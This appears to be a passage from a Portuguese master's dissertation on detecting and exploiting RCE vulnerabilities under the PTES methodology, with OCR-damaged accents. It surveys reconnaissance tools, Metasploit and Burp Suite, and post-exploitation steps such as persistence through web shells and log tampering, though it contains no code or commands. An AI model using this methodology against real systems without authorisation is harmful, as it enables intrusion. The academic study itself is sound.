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RESUMO

A identifica¢do de vulnerabilidades ¢ um processo sistematico que pode combinar um
conjunto de fontes publicas, ferramentas técnicas especializadas e metodologias de

analise de resultados.

A evolucao das vulnerabilidades, impulsionada pela heterogeneidade e complexidade
das arquiteturas tecnoldgicas, tem-se revelado crescente e dindmica, aliada a uma

sofisticacdo das técnicas de exploracdo e ao aumento das superficies de ataque.

Este trabalho tem como objetivo analisar técnicas de identificacdo e exploracdo de
vulnerabilidades de Remote Code Execution (RCE), um dos riscos mais criticos em
ciberseguranca. A exploragdo de vulnerabilidades assume-se como um pilar
fundamental na investiga¢cdo em ciberseguranga. O estudo combina andlise tedrica com
experimentacao pratica em ambiente laboratorial controlado, seguindo principios éticos

de seguranca ofensiva.

Palavras-chave: andlise de vulnerabilidades, vetores de ataque, exploracdo, seguranca

ofensiva.



ABSTRACT

Vulnerability identification is a systematic process that integrates public sources,

specialized technical tools, and analytical methodologies.

The evolution of vulnerabilities, driven by the heterogeneity and complexity of modern
technological architectures, has become increasingly dynamic, marked by sophisticated

exploitation techniques and expanding attack surfaces.

This study aims to analyze techniques for identifying and exploiting Remote Code
Execution (RCE) vulnerabilities, one of the most critical risks in cybersecurity.
Vulnerability exploitation serves as a foundational pillar in cybersecurity research. The
work combines theoretical analysis with controlled lab-based experimentation,

adhering to ethical principles of offensive security.

Keywords: vulnerability analysis, attack vectors, exploitation, offensive security.
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1 INTRODUCAO

Num contexto de acelerada transformagdo digital e crescente interdependéncia
sistémica, a ciberseguranga afirma-se como ancora vital na protecdo de ecossistemas
tecnologicos, ativos informacionais e infraestruturas criticas [1]. A progressiva
complexificacdo, heterogeneizacdo das arquiteturas computacionais, aliadas a
exponencial proliferacio de servigos digitalmente mediados, tém catalisado o
surgimento de vetores de ameaca de sofisticagdo inédita [2], capazes de explorar
vulnerabilidades sistémicas com impactos potencialmente catastroficos. Entre estas
vulnerabilidades, destaca-se a de execucao remota de codigo (Remote Code Execution
- RCE) [3], particularmente critica por permitir que agentes maliciosos executem codigo

arbitrario em sistemas-alvo de forma remota e ndo autorizada.

Este fendmeno tem ganho crescente relevo tanto na literatura académica especializada
como nos relatdrios técnicos das principais organizagdes internacionais de
ciberseguranca [5], consolidando-se como vetor recorrente em incidentes de seguranca
de grande magnitude. A sua capacidade de comprometer servidores a distancia,
manipular conjuntos de dados criticos, exfiltrar informacdo sensivel ou estabelecer
acessos persistentes sem detecdo imediata [6] transforma a exploragdo desta classe de
vulnerabilidades num risco sistémico para organizagdes dos setores publico e privado,

com implicagdes operacionais, financeiras e reputacionais potencialmente devastadoras

[7].

As aplicagdes web emergiram como principal vetor de ataques digitais, representando
um dos desafios mais prementes para organizagdes de todos os setores [8]. Esta
predominancia resulta de uma conjugacdo de fatores criticos: a inevitavel exposi¢ao
publica inerente a natureza da Internet [9], a crescente complexidade arquitetural das
solugdes web modernas [10] - que integram desde interfaces de entrada até sistemas de
suporte de gestdo de dados, passando por multiplas bibliotecas externas [11] - e as
vulnerabilidades humanas e de configuracdo que persistem em ambientes digitais [12].

A sofisticag@o dos ataques tem evoluido em paralelo com as proprias tecnologias [13],



com agentes maliciosos a recorrerem a ferramentas altamente especializadas como o
SQLmap para exploracao de vulnerabilidades [ 14], Shodan ou a Burp Suite para andlise
abrangente de aplicagdes [15], o que lhes permite identificar fragilidades com maior
eficiéncia e conduzir exploragdes direcionadas. Esta situacdo agrava-se devido a
frequente detecdo de configuragdes basicas comprometidas, como credenciais por
defeito ou mecanismos de seguranca mal implementados [16], que funcionam como

portas de entrada para acessos nao autorizados.

No ambito deste panorama, as vulnerabilidades de Remote Code Execution (RCE)
destacam-se pela sua gravidade excecional [17]. O perigo do RCE reside na sua
capacidade unica de permitir a execucdo remota de comandos arbitrarios no servidor-
alvo, frequentemente com privilégios elevados [18]. As consequéncias desta exploragdo
sdo invariavelmente severas, incluindo o comprometimento total do sistema atacado,
exfiltragdo massiva de dados sensiveis, movimentacdo lateral dentro de redes

corporativas e instalagdo persistente de backdoors ou ransomware [19].

Perante este paradigma de ameagas, a presente dissertacdo propde um exame
sistematico dos requisitos técnicos necessarios para a exploracdo de vulnerabilidades
RCE [20], combinando perspetivas teoricas e empiricas. A abordagem metodolégica
assenta em dois pilares fundamentais [21]: uma andlise conceptual multidisciplinar que
abrange dimensdes técnicas, tedricas e normativas [22], e uma validagdo experimental
através da constru¢do de um ambiente controlado de testes [23] que incorpora
aplicagdes com vulnerabilidades conhecidas. Esta investigacdo visa duplamente [24]
aprofundar a compreensdo dos mecanismos subjacentes a exploragdo de
vulnerabilidades [25] e fomentar uma consciéncia critica acerca da necessidade
imperativa de adog¢do de boas praticas no desenvolvimento, configuracdo e
monitorizagdo de sistemas informaticos [26]. O estudo seguira metodologias
consagradas no ambito da seguranca ofensiva [27], observando escrupulosamente os
principios éticos e enquadramentos legais aplicaveis [28], e recorrerd a ferramentas
padronizadas no dominio dos testes de penetragdo [29], com especial destaque para o
Metasploit Framework [30], entre outras solugdes tecnologicamente validadas pela

comunidade técnica.



A questdo central que esta dissertagdo pretende responder ¢€: sera possivel detetar
ameacas do tipo RCE através da metodologia PTES (Penetration Testing Execution

Standard)? [31]

2 CONCEITO DE REMOTE CODE EXECUTION (RCE)

As vulnerabilidades de execucdo remota de cddigo, denominadas por Remote Code
Execution (RCE), constituem uma das ameagas mais significativas no atual panorama
da ciberseguranca [31]. Como demonstrado por Brandao [32], estas vulnerabilidades
representam um risco sistémico para infraestruturas criticas, sendo a sua gravidade
amplificada pela possibilidade de um atacante, na maioria dos casos de forma remota e
ndo autenticada, executar comandos arbitrarios em sistemas-alvo através da exploragao
de falhas em aplicagdes ou servigcos expostos na Internet. Este tipo de exploragdo
compromete ndo apenas a integridade do sistema afetado, como pode também permitir
movimentacdo lateral na rede, acesso a outros componentes da infraestrutura,

exfiltracdo de dados sensiveis ou instalacdo de malware persistente [33].

O crescente interesse na temdtica das vulnerabilidades RCE ¢ evidenciado pelo nlimero
de incidentes reportados por entidades como o CERT e pela relevancia deste vetor de
ataque em relatorios de referéncia, como o Verizon Data Breach Investigations Report
(DBIR), que indica que 25% dos ataques a aplicagdes web registados em 2023
envolveram execug¢do remota de cddigo [34]. Estes dados sublinham a importancia de
compreender os mecanismos técnicos subjacentes a estes ataques, bem como a

necessidade de implementar politicas de prote¢do robustas.

Tipicamente, uma vulnerabilidade do tipo RCE permite a um atacante manipular a
execu¢do normal de uma aplicacdo, injetando e executando comandos através de
entradas ndo validadas ou com valida¢des inadequadas [35]. Estas vulnerabilidades

podem manifestar-se em diversos contextos, nomeadamente:

o Falhas em frameworks web [36]

e Bibliotecas de parsing com protecao insuficiente [37]



e Servigos expostos com validagdes superficiais [38]

e Configuragdes incorretas em aplica¢des do lado do servidor [39]

Este capitulo tem como objetivo apresentar o conhecimento teérico fundamental sobre
a natureza das vulnerabilidades RCE, os seus principais vetores de exploragdo,
ferramentas utilizadas pelos atacantes, bem como as medidas de mitigagdo e protecdo
adequadas. Aborda-se ainda o enquadramento ético e técnico das praticas de teste
ofensivo (ethical hacking). O desenvolvimento aprofundado destes aspetos proporciona
o suporte conceptual essencial para a analise pratica que sera desenvolvida no capitulo

seguinte.

2.1 CLASSIFICACAO DE VULNERABILIDADES DO TIPO RCE

As vulnerabilidades de execucao remota de cddigo (RCE) ndo se limitam a um tnico
tipo de falha, podendo ser causadas por diversos fatores técnicos e logicos. De acordo
com a OWASP (Open Web Application Security Project), estas vulnerabilidades
ocorrem tipicamente devido a falhas na validacdo de entradas, execu¢do dinamica de
codigo e gestdo inadequada de dependéncias externas [40]. Nas aplicacdes web, os
casos mais comuns incluem a utilizacdo de fungdes como eval(), exec(), popen() ou
chamadas de sistema que executam diretamente comandos com base em dados

fornecidos pelo utilizador sem a devida validacao [41].

Entre os cendrios mais frequentes destacam-se as vulnerabilidades em Content
Management Systems (CMS) como WordPress, Joomla e Drupal, onde extensdes ou
plugins desatualizados contém frequentemente falhas exploraveis através de scripts de
execucao remota [42]. A utilizag@o de bibliotecas sem as atualizag¢des de seguranca mais
recentes ou a configuracdo inadequada de servigos podem igualmente proporcionar
vetores de ataque para exploragdo RCE, conforme documentado em diversas

publicacgdes técnicas especializadas [43]-[45].

Estas vulnerabilidades podem ainda ser exploradas através de falhas em protocolos

como SMB, RPC ou RDP, bem como devido a auséncia de mecanismos eficazes de



sandboxing e isolamento de processos em arquiteturas mais antigas [46]. A diversidade
de vetores de ataque possiveis exige uma abordagem abrangente para a sua mitigagao,
que deve incluir desde a revisdo rigorosa do codigo até a implementacdo de

segmentacao de rede e politicas estritas de privilégio minimo [47].

2.2 VETORES DE ATAQUE E FASES DE EXPLORACAO NUM CONTEXTO DO
TIPO RCE

O ciclo de exploracdo de uma vulnerabilidade de execucdo remota de codigo (RCE)
pode ser sistematicamente descrito em quatro fases fundamentais: reconhecimento,
enumeragdo, exploracdo e pds-exploracdo. Este modelo encontra-se alinhado com as
metodologias de teste de penetracdo utilizadas em seguranca ofensiva, conforme
estabelecido por Anderson [48] e consagrado em frameworks amplamente reconhecidos

como o Penetration Testing Execution Standard (PTES) [49].

Esta abordagem faseada reflete as melhores praticas da seguranga ofensiva, permitindo
ndo s6 uma compreensdo aprofundada dos mecanismos de ataque, mas também o
desenvolvimento de estratégias de mitiga¢do mais eficazes. Como destacam os estudos
recentes, a ado¢do de metodologias estruturadas como o PTES [50] tem-se revelado
fundamental para uma avaliagcdo abrangente dos riscos associados a vulnerabilidades

RCE em ambientes empresariais e de infraestruturas criticas [51].

2.3 RECONHECIMENTO

A etapa de reconhecimento ¢ considerada critica e determinante para o sucesso das
etapas seguintes. Consiste na recolha de informagdes passivas e ativas sobre o alvo, sem
que exista uma interagdo direta com os seus servicos. Como demonstrado em diversos
estudos [52], esta etapa preliminar ¢ fundamental para estabelecer o perfil de seguranca

do sistema em andlise. Ferramentas especializadas como o Shodan, Censys ou



DNSdumpster permitem identificar sistemas expostos na Internet, aplicacdes em

utilizagdo e potenciais vetores de ataque [53], [54].
A metodologia de reconhecimento envolve tipicamente:
1. Analise de infraestruturas expostas através de motores de busca especializados

Mapeamento de servigos e portas abertas

Identificacdo de tecnologias e versdes em utilizagao

Eall

Recolha de meta dados e informagdes técnicas

Esta fase assume particular importancia na medida em que permite restringir o ambito
de atuagdo e selecionar alvos com maior probabilidade de apresentarem
vulnerabilidades [55]. Para além das ferramentas automatizadas, a analise de registos
publicos, o reconhecimento de dominios e a investigagdo em redes sociais corporativas

(como o LinkedIn) podem fornecer dados valiosos sobre:

e A arquitetura da infraestrutura alvo
e Fornecedores e tecnologias adotadas
o Perfis de utilizadores e estruturas organizacionais

o Relagdes entre diferentes sistemas e entidades [56]

Como destacam os estudos mais recentes [57], a fase de reconhecimento bem executada
pode representar at¢ 70% do sucesso de uma avaliagdo de seguranga, permitindo
identificar pontos fracos sem alertar os sistemas de detegdo. A abordagem deve ser
sistematica e abrangente, cobrindo tanto as componentes técnicas como as humanas da

organizagao alvo.

2.3.1 EXEMPLO DE RECONHECIMENTO EM CENARIO REAL

Uma vez estabelecida a motivacdo do ataque - seja para resgate, espionagem, roubo de

informacao ou interrupcao de servigos - inicia-se um processo meticuloso de recolha de



dados através de técnicas nao intrusivas. Esta abordagem permite evitar a detecdo pelos

sistemas de prote¢do do alvo, mantendo a descri¢do da operagdo.

A investigacdo assenta na exploracdo estratégica de fontes publicas de informacdo

disponiveis na Internet, com particular foco na andlise de:

1. Estrutura de dominios e subdominios
Registos DNS publicos

Registos historicos de resolucio de nomes

Eall

Ficheiros de configuracio expostos

A andlise sistematica da infraestrutura de dominios revela frequentemente vetores de
ataque alternativos e menos protegidos. Por exemplo, em vez de direcionar esforcos

para o dominio principal (www.dominio.pt), a investiga¢cdo pode identificar:

e Interfaces de administragdo de servigos (mail.dominio.pt)
e Subdominios de desenvolvimento (dev.dominio.pt)
e Portais de parceiros (extranet.dominio.pt)

e APIs expostas (api.dominio.pt)

Esta abordagem permite descobrir componentes menos visiveis da infraestrutura digital
da organizagdo, que frequentemente apresentam medidas de seguranga menos robustas
do que os sistemas principais. A identificacdo destes elementos secundéarios amplia
significativamente a superficie de ataque potencial, oferecendo vetores alternativos para

tentativas de intrusao.
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Figura I - Investiga¢do por dominio na plataforma dnsdumpster

A plataforma DNSDumpster.com (Figura 1) revela-se um instrumento valioso para o
reconhecimento de infraestruturas digitais, como demonstrado na anélise efetuada para
o dominio nmap.org. Esta ferramenta proporciona uma caracterizagdo abrangente da

arquitetura de rede, fornecendo:
1. Mapeamento completo da estrutura de dominios:
o Dominio principal (nmap.org)
o Subdominios associados
o Registos DNS histdricos

2. Informacio técnica detalhada:

o Geolocalizagao fisica dos servidores



o Portas de comunicagdo expostas
o Versoes de servigos de rede em execugao

o Conjuntos de enderecos IP vinculados ao dominio

C o O a ‘dnsdumpster.com
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Figura 2 - Diagrama de rede gerado pelo dnsdumpster

Como ilustrado na Figura 2, a ferramenta gera automaticamente um diagrama de rede

que estabelece visualmente:

e Relacdes hierarquicas entre nomes de dominio e tipos de registo DNS
e Fluxos de comunicagao entre diferentes servigos
e Mapeamento entre nomes de dominio e enderegos IP especificos

o Interligacdes entre diversos elementos da infraestrutura

Esta representacdo grafica permite uma compreensdo imediata da topologia da rede,
identificando potenciais pontos de entrada vulneraveis e relagdes criticas entre

componentes. A analise destes diagramas revela-se particularmente util para:



1. Identificar ativos ndo documentados
Detetar configuragdes potencialmente perigosas

Mapear a arquitetura global dos sistemas

Eall

Planear vetores de ataque especificos

A riqueza informativa proporcionada por esta ferramenta sublinha a importancia do
reconhecimento passivo na fase inicial de avaliagdo de seguranca, demonstrando como
informacao publicamente acessivel pode ser utilizada para construir um perfil detalhado

da infraestrutura alvo.

As redes sociais profissionais, em particular o LinkedIn, constituem também uma fonte
valiosa de informagdo para potenciais cibe criminosos, permitindo-lhes recolher dados
sensiveis através da analise de perfis publicos de colaboradores e consultores externos.
Esta exposi¢do de informacdo facilita a identificagdo de tecnologias especificas,
componentes de infraestrutura e até mesmo parcerias estratégicas da organizagdo-alvo.
Muitos utilizadores partilham, de forma inadvertida, estudos de caso detalhados que
incluem referéncias explicitas a clientes, projetos implementados e solucdes
tecnologicas adotadas. Estas publicagdes, aparentemente indcuas, podem revelar dados
criticos sobre a arquitetura de sistemas internos, praticas de desenvolvimento ou
ferramentas utilizadas pela organizacdo. Quando analisadas de forma sistematica, estas

informagdes permitem aos cibe criminosos:

1. Mapear o ecossistema tecnologico da organizacao, identificando aplicagdes,
versdes e frameworks em uso;

2. Reconhecer parceiros e fornecedores, o que pode revelar vulnerabilidades na
cadeia de abastecimento;

3. Identificar colaboradores-chave com acesso a sistemas criticos, potenciais
alvos de engenharia social;

4. Detetar projetos recentes que possam ter exposto novas infraestruturas ou

interfaces de administragao.
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Esta recolha passiva de inteligéncia, sem qualquer interagdo direta com os sistemas da
organizagdo, demonstra como a partilha excessiva de informagao em redes sociais pode
ampliar significativamente a superficie de ataque. A natureza publica e acessivel destes
dados transforma plataformas como o LinkedIn em ferramentas eficazes para o
reconhecimento pré-ataque, sublinhando a necessidade de politicas rigorosas de

sensibilizacdo e controlo da informagao partilhada pelos colaboradores.

A exposi¢do involuntaria de detalhes técnicos ou organizacionais nestas plataformas
pode, assim, facilitar a fase de reconhecimento de um ciberataque, permitindo que
agentes maliciosos desenvolvam estratégias de intrusdo altamente direcionadas e com

maior probabilidade de sucesso.

Mesmo sem um alvo especifico definido, atacantes podem utilizar plataformas

agregadoras de informac¢ao como Shodan para:

o Identificar sistemas vulneraveis em escala global
 Filtrar por tecnologias especificas (ex: Apache/IIS desatualizados)
e Cruzar dados com vulnerabilidades conhecidas (CVEs)

e Localizar exploits publicos correspondentes

Conforme demonstrado na Figura 3, a plataforma Shodan indexa mais de 17 milhdes

de servidores web ativos, oferecendo funcionalidades avangadas:

Para complementar a recolha passiva de informacdo, podem ser utilizados métodos de

baixa visibilidade:

e Procura por portas especificas (TCP 80/443/22)
e Analise de banners de servigo
o Testes de conectividade limitados

e Identificacdo de servigos de computagdo em nuvem expostos
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Figura 3 - Exemplo de investigagdo na plataforma Shodan

Estas técnicas permitem validar informagdes recolhidas sem desencadear mecanismos
de alerta, mantendo o sigilo da operacdo de reconhecimento. A combinacao de fontes
abertas com ferramentas especializadas cria um circulo virtuoso de inteligéncia que

sustenta operagdes ofensivas posteriores.

2.4 ENUMERACAO

Na fase de enumeragdo, o cibe criminoso estabelece interagdes controladas com os
sistemas previamente identificados, com o objetivo de recolher informagdes detalhadas
sobre servigos ativos, portas abertas, banners de sistema, estruturas de diretérios e
outros elementos que possam revelar vulnerabilidades explordveis [58]. Esta etapa
caracteriza-se por uma abordagem mais intrusiva do que o reconhecimento inicial,

embora mantenha um perfil discreto para evitar detecao.
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Como documentado na literatura especializada [59], as ferramentas mais utilizadas

nesta fase incluem:

e Nmap: Para mapeamento avangado de redes e servigos
e Dirb: Para identificacdo de diretorios e ficheiros acessiveis
e Nikto: Para detecdo de vulnerabilidades em servidores web

o  WhatWeb: Para analise detalhada de tecnologias web implementadas

Estudos recentes demonstram que ¢ frequente identificar durante esta fase [60]:

1. Endpoints REST expostos sem controlo de acesso adequado

2. Interfaces de administragdo com mecanismos de autenticacdo fracos ou
inexistentes

3. Ficheiros de configuracdo (ex: .env, config.php) acessiveis publicamente

4. Versoes desatualizadas de software com vulnerabilidades conhecidas

A metodologia de enumeracao deve seguir um processo sistematico [61]:

1. Identificag@o de servigos ativos e respetivas versoes

Andlise de configuragdes e permissdes

Mapeamento da arquitetura da aplicacdo

Eall

Detecdo de componentes vulneraveis

Como destacam Pereira et al. [62], a fase de enumeracdo bem executada permite
construir um perfil detalhado do sistema alvo, identificando potenciais vetores de ataque
para exploracdo posterior. A informagdo recolhida nesta etapa ¢ fundamental para
priorizar os esfor¢os de exploragdo e aumentar a probabilidade de sucesso num eventual

ataque.
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2.5 EXPLORACAO

A fase de exploragdo consiste na utilizacdo efetiva de vulnerabilidades identificadas
para executar codigo remoto no sistema alvo. No contexto de RCE, esta execuc¢ao pode

ocorrer através de diversos vetores [63]:

1. Injegdo de comandos através da manipulagdo de pardmetros em URLs
Carregamento de ficheiros maliciosos que permitam execug¢ao remota

Exploragdo de vulnerabilidades em APIs REST ou SOAP

Eall

Abuso de bibliotecas vulneraveis (como no caso do Log4Shell, CVE-2021-
44228) [64]-[66]

O Metasploit Framework destaca-se como uma das ferramentas mais utilizadas nesta

fase [67], oferecendo funcionalidades avancadas para:

o Carregamento de exploits conhecidos
e Adaptacdo de payloads especificos

e Execugdo controlada de testes de penetracao

Apds o comprometimento bem-sucedido do sistema, o atacante pode implementar
payloads sofisticados como o Meterpreter, que estabelece uma ligacdo interativa do tipo
terminal diretamente em memoria [68]. Este tipo de payload oferece capacidades

avancadas, incluindo:

e Execug¢do de comandos remotos
e Movimentacao lateral na rede
e Mecanismos de evasao a sistemas de dete¢ao

e Persisténcia no sistema comprometido

Como demonstrado nos estudos mais recentes [69], a fase de exploracdo requer um

conhecimento profundo tanto das vulnerabilidades especificas como das arquiteturas
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dos sistemas alvo. A selecdo adequada de exploits e payloads ¢ crucial para o sucesso

da operagao, sendo necessario considerar fatores como:

e A versdo exata do software vulneravel
e O sistema operativo subjacente
e As medidas de seguranga implementadas

e Os mecanismos de detegao ativos

2.6 POS-EXPLORACAO

Apos a obtencao bem-sucedida de acesso inicial, a fase de pds-exploragdo concentra-se
em trés objetivos principais: elevacdo de privilégios, movimentagdo lateral na rede e
estabelecimento de persisténcia no sistema comprometido [70]. Esta etapa representa a
materializagdo do impacto real das vulnerabilidades RCE, uma vez que o atacante
transita de uma exploracdo pontual para um comprometimento abrangente da

infraestrutura organizacional [71].

As acdes tipicas desta fase incluem:

1. Exfiltracido de credenciais através de técnicas como dumping de memoria ou
keylogging

2. Mapeamento detalhado da rede interna para identificar alvos secundarios

3. Criacao de backdoors para garantir acesso futuro

4. Manipulacio de logs para apagar evidéncias da intrusdo [72]
A persisténcia ¢ normalmente alcancada através de diversos mecanismos [73]:
e Implementagdo de web shells em servidores comprometidos
e Agendamento de tarefas maliciosas (através da cron no Linux ou programador

de tarefas no Windows)

e Modificagdo de servigos existentes ou criacdo de novos servigos maliciosos
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e Alteragdo de chaves de registo em sistemas Windows

Como destacam os estudos mais recentes [74], muitas destas atividades podem
permanecer in detetadas durante periodos prolongados, especialmente em ambientes

s€m:

1. Monitorizacdo ativa de integridade de sistemas
Correlagdo eficaz de eventos de seguranga

Analise comportamental de trafego de rede

Eall

Mecanismos de detecdo de anomalias

O impacto operacional desta fase ¢ particularmente grave, pois permite ao atacante [75]:

e Manter acesso prolongado a infraestrutura
o Escalar privilégios para dominio completo
o Exfiltrar dados sensiveis de forma continua

e Preparar o terreno para ataques mais avangados

2.7 FERRAMENTAS E TECNICAS DE APOIO A EXPLORACAO DE RCE

A eficacia dos ataques de Execu¢do Remota de Codigo (RCE) encontra-se
intrinsecamente ligada a utilizacdo combinada de ferramentas especializadas e técnicas
de automatizagdo que facilitam a identificagdo, exploragcao e manutengao de acessos em
sistemas vulneraveis. Como demonstrado na literatura recente, estas ferramentas sao
igualmente adotadas por profissionais de seguranca ética e por agentes maliciosos,
sublinhando a importancia do seu estudo e monitorizagdo continua.

Entre as ferramentas mais relevantes para a exploracdo de vulnerabilidades RCE

destacam-se:

1. Frameworks de exploracdo abrangentes que oferecem moddulos pré-

configurados para exploracdo de vulnerabilidades conhecidas
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2. Scanners de vulnerabilidades que permitem identificar sistemas vulneraveis a
ataques RCE

3. Ferramentas de desenvolvimento de exploits que auxiliam na criagdo de codigo
de exploragdo personalizado

4. Utilitarios de pos-exploragdo que facilitam a movimentacdo lateral e

manuten¢do de acessos

Paralelamente, as técnicas modernas de automatizagdo e orquestracdo de ataques tém
vindo a aumentar significativamente o potencial ofensivo das exploragdes RCE. Estas

incluem:

Scripting avangado para exploragdo em massa

Técnicas de evasao a sistemas de dete¢ao

Mecanismos de persisténcia sofisticados

Técnicas de ofuscagdo de coédigo malicioso

A dualidade no uso destas ferramentas - tanto para fins defensivos como ofensivos -
coloca aos profissionais de seguranga o desafio de conhecer profundamente o seu
funcionamento, de forma a desenvolver mecanismos de detecdo e mitigagdo eficazes.
Como evidenciam os estudos mais recentes, a compreensdo detalhada destas
ferramentas e técnicas constitui um elemento fundamental para uma estratégia

abrangente de protecdo contra exploragdoes RCE.

2.7.1 FRAMEWORK METASPLOIT

O Metasploit Framework representa indiscutivelmente a ferramenta mais difundida e
completa no dominio dos testes de penetracao e exploragdo de vulnerabilidades, sendo
amplamente utilizado tanto por profissionais de seguranga informatica como por
agentes maliciosos [76]. Este ambiente modular integrado oferece um conjunto
abrangente de funcionalidades que permitem desde a identificagdo de vulnerabilidades
at¢ a exploragdo avancada e manutencdo de acessos persistentes em sistemas

comprometidos [77].
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A arquitetura do Metasploit baseia-se num principio de modularidade e reutilizagao de
componentes, onde os diversos exploits podem ser combinados com diferentes payloads
conforme as necessidades especificas de cada cenario de ataque. Esta flexibilidade ¢
particularmente evidente na familia Meterpreter, cujos payloads se destacam pela sua
operagdo exclusivamente em memoria (fileless), dificultando significativamente a sua
detegdo por solugdes antivirus convencionais [78]. Além disso, estes payloads oferecem
funcionalidades avangadas de pos-exploragdo, incluindo movimentagao lateral na rede,
elevacdo de privilégios e exfiltragdo de dados, tudo isto através de comunicagdes

encriptadas que visam evitar a dete¢ao [79].

Uma das caracteristicas mais relevantes do Metasploit ¢ a sua integragdo nativa com
bases de dados de vulnerabilidades como o Common Vulnerabilities and Exposures
(CVE) e o Exploit Database (Exploit-DB). Esta integracdo permite ndo s6 a
automatizacdo da selecdo de vetores de ataque com base em vulnerabilidades
conhecidas, mas também a constante atualizacao da sua base de conhecimentos face as
novas ameacas que vao sendo identificadas [80]. Na pratica, esta capacidade transforma
o Metasploit numa ferramenta dinamica que evolui em paralelo com o panorama de
ameagas, mantendo-se relevante mesmo face as contramedidas de seguranga mais

recentes.

2.7.2 FERRAMENTAS PARA ANALISE DE APLICACOES WEB

No contexto de ciberataques direcionados a aplicagdes web, o Burp Suite assume um
papel central como ferramenta de analise de seguranca [81]. A sua funcionalidade de
proxy permite a captura, modificacdo e reencaminhamento de pedidos HTTP/HTTPS,
possibilitando testar a resiliéncia da aplicagdo face a inputs maliciosos. Esta capacidade
¢ particularmente relevante para identificar vulnerabilidades de execugdo remota de
codigo (RCE), uma vez que permite avaliar o comportamento da aplicagcdo perante

diferentes vetores de ataque [82].

O Burp Suite integra ainda vdrias ferramentas especializadas que potenciam a sua

eficacia:
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e Intruder: Permite automatizar ataques através da modificagdo sistematica de
parametros
e Repeater: Facilita a manipulacdo manual de requisi¢des para testes precisos

e Scanner: Identifica automaticamente vulnerabilidades conhecidas [83]

Estas funcionalidades tornam o Burp Suite particularmente eficaz na deteg¢do de vetores

RCE em:

v Parimetros GET/POST
v Cabegalhos HTTP
v Estruturas de autenticagio

v Mecanismos de serializacdo de dados [84]

Complementarmente ao Burp Suite, outras ferramentas especializadas desempenham

papéis cruciais na analise de seguranga web:

e OWASP ZAP: Oferece funcionalidades semelhantes com énfase em testes
automatizados

e SQLmap: Especializado na detecdo e exploracdo de vulnerabilidades SQL
Injection

o Nikto: Realiza scans abrangentes para identificar vulnerabilidades conhecidas

e Dirbuster: Efetua enumeracao de diretorios e ficheiros em servidores web [85]-

[87]

Como destacam os estudos recentes [88], a utilizagdo combinada destas ferramentas

numa abordagem estruturada permite:

* Identificar um ambito mais amplo de vulnerabilidades

» Correlacionar diferentes vetores de ataque

19



* Validar a eficacia de medidas de mitigagdo

* Reduzir falsos positivos através de verificagdo cruzada

2.8 CATALOGOS DE EXPLOITS E BASES DE VULNERABILIDADES

O sucesso na exploracdo de vulnerabilidades de Execu¢do Remota de Codigo (RCE)
estd intimamente ligado a capacidade de identificar falhas em componentes utilizados
pelas aplicagdes ou servidores alvo [89]. Para este efeito, diversas plataformas
especializadas assumem um papel fundamental no processo de pesquisa e classificagdo

de vulnerabilidades:

Entre os repositdrios mais relevantes destacam-se:

e Exploit Database (Exploit-DB): Arquivo abrangente de exploits testados e
documentados

e CVE (Common Vulnerabilities and Exposures): Sistema de identifica¢do
padronizada de vulnerabilidades

e NVD (National Vulnerability Database): Base de dados governamental dos
EUA com analise de impacto

e SecurityFocus: Plataforma historica de divulga¢ao de vulnerabilidades [90]-[92]

Estes recursos permitem, por exemplo, verificar que uma versdo especifica do Apache
Tomcat apresenta uma vulnerabilidade critica que possibilita a execu¢do remota de
comandos, como foi o caso documentado no boletim CVE-2025-24813 [93]. Esta

informacgao ¢ crucial para:

1. Priorizar a aplicacdo de patches de seguranca
Desenvolver mecanismos de deteg¢do especificos

Planear testes de penetracdo direcionados

il

Implementar medidas compensatorias temporarias
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Na pratica, a consulta a estas bases de dados ¢ frequentemente automatizada através de:

* Scripts de web crawling especializados
* Ferramentas como o SearchSploit
* Integracdes com frameworks de seguranga

* Sistemas de monitorizagdo continua de vulnerabilidades [94]

Como demonstram os estudos recentes [95], a utilizagao sistematica destes recursos:

e Reduz significativamente o tempo de identifica¢do de vulnerabilidades
e Facilita a correlagdo entre diferentes falhas de seguranca
o Permite a antecipacdo de vetores de ataque

e Apoia a tomada de decisdes informadas em gestdo de vulnerabilidades

2.9 SCRIPTS PERSONALIZADOS E AUTOMACAO

Nos ultimos anos, tem-se observado um aumento significativo na sofisticacdo dos
ciberataques automatizados, com o desenvolvimento e partilha de scripts
personalizados em Python, Bash ou PowerShell. Estes scripts sdo frequentemente
disponibilizados em plataformas como féruns underground, GitHub ou Pastebin [96],
[97], sendo concebidos para explorar vulnerabilidades especificas em sistemas com
configuragdes particulares. Muitas vezes, estes scripts sdo integrados com ferramentas
consolidadas, como o Metasploit ou 0 Nmap, para aumentar a sua eficacia e alcance em

cenarios de ataque real [98].

Além dos scripts personalizados, ferramentas como Ansible, Pupy, Empire ou Covenant
tém ganho relevancia no contexto de operagdes avancadas de ciberataque. Estas
solugdes oferecem funcionalidades que vao além da simples exploracdo de

vulnerabilidades, permitindo:
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e Controlo remoto persistente de sistemas comprometidos

e Registo de atividade do utilizador (keylogging) para captura de credenciais

e Visualizagdo grafica da rede para melhor orientagdo em movimentagao lateral
e Automatizagdo de tarefas de pos-exploragdo, como escalamento de privilégios

ou exfiltracao de dados [99], [100].

Esta evolugdo na automagdo de ciberataques demonstra uma tendéncia clara para
operagdes mais complexas e prolongadas, onde os cibe criminosos procuram manter
acesso a sistemas comprometidos durante longos periodos, muitas vezes sem serem
detetados. A capacidade de adaptar scripts e ferramentas a ambientes especificos torna
estes vetores de ataque particularmente perigosos, exigindo uma resposta igualmente

sofisticada por parte dos profissionais de segurancga [101].
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2.10 IMPACTO DA EXPLORACAO DE RCE EM AMBIENTES CORPORATIVOS

A exploragdo de vulnerabilidades de Execucdo Remota de Cddigo (RCE) tem sido
responsavel por incidentes de seguranca de grande escala, com impactos que vao desde
intrusdes em cadeias de abastecimento (ataques a supply chain) até ao
comprometimento total de infraestruturas criticas [102]. O caso paradigmatico da
Equifax (2017), resultante de uma vulnerabilidade critica no Apache Struts 2, levou a
exfiltracdo de dados de mais de 145 milhdes de utilizadores e a prejuizos estimados em
1,4 mil milhdes de ddlares em sangdes e custos legais [103]. Mais recentemente, em
2021, a vulnerabilidade Log4Shell (CVE-2021-44228) permitiu a execu¢do remota de
codigo em aplicagdes empresariais Java, afetando servicos em cloud, dispositivos loT
e plataformas SaaS [104]. Estudos longitudinais indicam que o tempo médio de detecdo
(MTTD) para vulnerabilidades RCE varia entre 180 e 230 dias, enquanto o tempo médio
para conten¢do (MTTC) frequentemente excede os 30 dias [105], refletindo deficiéncias

estruturais nos processos de gestdo de patches, threat hunting e resposta a incidentes.

Tabela 1 - Tipologia de Danos

